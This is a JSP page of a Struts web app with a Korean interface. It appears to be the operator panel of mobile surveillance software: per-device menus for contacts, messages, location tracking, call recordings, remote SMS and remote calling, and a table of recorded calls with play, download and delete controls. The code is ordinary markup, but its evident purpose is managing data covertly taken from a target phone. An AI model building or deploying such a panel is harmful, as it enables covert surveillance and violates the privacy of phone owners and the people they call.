<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Simpla Admin</title>
<jsp:include page="css.jsp"></jsp:include>
<jsp:include page="script.jsp"></jsp:include>
<script type="text/javascript">
	var path = '<%=request.getContextPath()%>';
	function goPage(page) {
		document.getElementById("currentPage").value = page;
		document.getElementById("n_form").submit();
	}
	function pv_q(u, w, h) {
		var pv = '';
		pv += '<object width="'+w+'" height="'+h+'" classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" codebase="http://www.apple.com/qtactivex/qtplugin.cab">';
		pv += '<param name="src" value="'+u+'">';
		pv += '<param name="controller" value="true">';
		pv += '<param name="type" value="video/quicktime">';
		pv += '<param name="autoplay" value="true">';
		pv += '<param name="target" value="myself">';
		pv += '<param name="bgcolor" value="black">';
		pv += '<param name="pluginspage" value="http://www.apple.com/quicktime/download/index.html">';
		pv += '<embed src="'+u+'" width="'+w+'" height="'+h+'" controller="true" align="middle" bgcolor="black" target="myself" type="video/quicktime" pluginspage="http://www.apple.com/quicktime/download/index.html"></embed>';
		pv += '</object>';
		$("#player").html(pv);
	}
	
	function deleteCalllog(_uid,_id){
		$("<div>삭제하시겠습니까?</div>").dialog({
			title:'확인?',
			modal:true,
			resizable:false,
			draggable:false,
			close : function (event) {
				$(this).dialog("destroy");
			}, 
			buttons : {
				'확인':function (event) {
					$(this).dialog("destroy");
					$.ajax({
						type : "GET",
						url : path + "/deleteCalllog.htm",
						data : {
							uid : _uid,
							cid : _id
						},
						dataType : "text",
						success : function(result) {
							if (result == "success") {
								//showAlertDialog("삭제되었습니다!",reload);
								reload();
							} else {
								showAlertDialog("삭제에 실패하였습니다!",null);
							}
						},
						error : function() {
							showAlertDialog("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오",null);
						}
					});
				},
				'취소':function (event) {
					$(this).dialog("destroy");
				}
			}
		});
	}
	
	function deleteSelectedCallog(_uid){
		var checkbox = document.getElementsByName("checkbox");
		var checkedItem = "";
		for ( var i = 0; i < checkbox.length; i++) {
			if(checkbox[i].checked){
				checkedItem+=checkbox[i].value+",";
			}
		}
		if(checkedItem.length<1){
			showAlertDialog("선택하세요!",null);
			return;
		}
		checkedItem = checkedItem.substring(0,checkedItem.length-1);
		$("<div>삭제하시겠습니까?</div>").dialog({
			title:'확인?',
			modal:true,
			resizable:false,
			draggable:false,
			close : function (event) {
				$(this).dialog("destroy");
			}, 
			buttons : {
				'확인':function (event) {
					$(this).dialog("destroy");
					$.ajax({
						type : "GET",
						url : path + "/deleteMultiCalllog.htm",
						data : {
							uid : _uid,
							cidStr : checkedItem
						},
						dataType : "text",
						success : function(result) {
							if (result == "success") {
								reload();
							} else {
								showAlertDialog("삭제에 실패하였습니다!",null);
							}
						},
						error : function() {
							showAlertDialog("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오",null);
						}
					});
				},
				'취소':function (event) {
					$(this).dialog("destroy");
				}
			}
		});
	}
	
	function reload() {
		document.getElementById("n_form").submit();
	}
</script>
</head>
<body>
	<div id="body-wrapper">
		<!-- Wrapper for the radial gradient background -->
		<div id="sidebar">
			<div id="sidebar-wrapper">
				<!-- Sidebar with logo and menu -->
				<h1 id="sidebar-title">
					<a href="#">Simpla Admin</a>
				</h1>
				<!-- Logo (221px wide) -->
				<a href="#"><img id="logo" src="<%=request.getContextPath()%>/images/logo.png" alt="Simpla Admin logo" /></a>
				<!-- Sidebar Profile links -->
				<jsp:include page="info.jsp" />
				<ul id="main-nav">
					<!-- Accordion Menu -->
					<li><a href="#" class="nav-top-item current"> 관리</a>
						<ul>
							<li><a href="<%=request.getContextPath() %>/contactList.htm?uid=${uid}" >전화번호부</a></li>
							<li><a href="<%=request.getContextPath() %>/msgList.htm?uid=${uid}" >메세지</a></li>
							<li><a href="<%=request.getContextPath() %>/location.htm?uid=${uid}" >위치추적</a></li>
							<li><a href="<%=request.getContextPath() %>/calllog.htm?uid=${uid}" class="current">통화녹음</a></li>
							<li><a href="<%=request.getContextPath() %>/remoteSmsList.htm?uid=${uid}" >문자 발송로그</a></li>
							<li><a href="<%=request.getContextPath() %>/remoteCallList.htm?uid=${uid}" >전화하기</a></li>
						</ul></li>
					<li>
				</ul>
			</div>
		</div>
		<!-- End #sidebar -->
		<div id="main-content">
			<!-- Main Content Section with everything -->
			<jsp:include page="noscript.jsp"></jsp:include>
			<div class="clear"></div>
			<!-- End .clear -->
			<div class="content-box">
				<!-- Start Content Box -->
				<div class="content-box-header">
					<h3>통화녹음</h3>
					<div id="player" style="float:left;margin-top: 10px;margin-left: 10px;"></div>
					<div style="float: right;text-align: center;">
						<img onclick="deleteSelectedCallog(${uid});" src="<%=request.getContextPath()%>/images/icons/delete.png" class="menu-icon" style="margin-right: 20px;"/>
					</div>
					
				</div>

				<!-- End .content-box-header -->
				<div class="content-box-content">
					<div class="tab-content default-tab" id="tab1">
						<table>
							<thead>
								<tr>
									<th><input class="check-all" type="checkbox" /></th>
									<th>NO</th>
									<th>상대방번호</th>
									<th>발/수신</th>
									<th>통화시간</th>
									<th>듣기</th>
									<th>다운로드</th>
									<th>삭제</th>
								</tr>
							</thead>
							<tfoot>
								<tr>
									<td colspan="7">
										<form action="<%=request.getContextPath()%>/calllog.htm" method="post" id="n_form">
											<div class="pagination">
												<s:if test="callLogs.currentPage<2">
													<a href="javascript:void();" title="처음페지">&laquo; 처음페지</a>
													<a href="javascript:void();" title="이전">&laquo; 이전</a>
												</s:if>
												<s:else>
													<a href="javascript:goPage(1);" title="처음페지">&laquo; 처음페지</a>
													<a href="javascript:goPage(${callLogs.currentPage}-1);" title="이전">&laquo; 이전</a>
												</s:else>
												[<b>${callLogs.currentPage}</b>페지|총<b>${callLogs.pageCount}</b>페지]
												<s:if test="callLogs.currentPage>=callLogs.pageCount">
													<a href="javascript:void();" title="다음">다음 &raquo;</a>
													<a href="javascript:void();" title="마지막페지">마지막페지&raquo;</a>
												</s:if>
												<s:else>
													<a href="javascript:goPage(${callLogs.currentPage+1});" title="다음">다음 &raquo;</a>
													<a href="javascript:goPage(${callLogs.pageCount})" title="마지막페지">마지막페지 &raquo;</a>
												</s:else>
											</div>
											<!-- End .pagination -->
											<div class="clear"></div>
											<input type="hidden" name="uid" value="${uid}" /> <input type="hidden" value="${callLogs.currentPage}" name="cPage"
												id="currentPage" />
										</form>
									</td>
								</tr>
							</tfoot>
							<tbody>
								<s:iterator value="callLogs.datas" id="item" status="index">
									<tr>
										<td ><input type="checkbox" name="checkbox" value="<s:property value="#item.id"/>"/></td>
										<td><s:property value="#index.index+1" /></td>
										<td><s:property value="#item.targetPhone" /></td>
										<td>
											<s:if test="#item.outgoing">
												발신
											</s:if>
											<s:else>
												수신
											</s:else>
										</td>
										<td><s:date name="#item.addTime" nice="false" format="yyyy-MM-dd HH:mm:ss" /></td>
										<td><a href="javascript:void();" onclick="pv_q('<%=request.getContextPath()%>/<s:property value="#item.path"/>',100,16)" title="Play"><img
												src="<%=request.getContextPath()%>/images/play.png" alt="Play" /></a></td>
										<td><a href="<%=request.getContextPath() %>/download.htm?filename=<s:property value="#item.path"/>" title="Download"><img
												src="<%=request.getContextPath()%>/images/download.png" alt="Download" /></a></td>
										<td><img alt="delete" style="cursor:pointer;" src="<%=request.getContextPath()%>/images/cross.png" onclick="deleteCalllog(${uid},<s:property value="#item.id"/>)"></td>		
									</tr>
								</s:iterator>
							</tbody>
						</table>
					</div>
					<!-- End #tab1 -->
				</div>
				<!-- End .content-box-content -->
			</div>
			<div class="clear"></div>
			<jsp:include page="footer.jsp"></jsp:include>
			<!-- End #footer -->
		</div>
		<!-- End #main-content -->
	</div>
</body>
<!-- Download From www.exet.tk-->
</html>
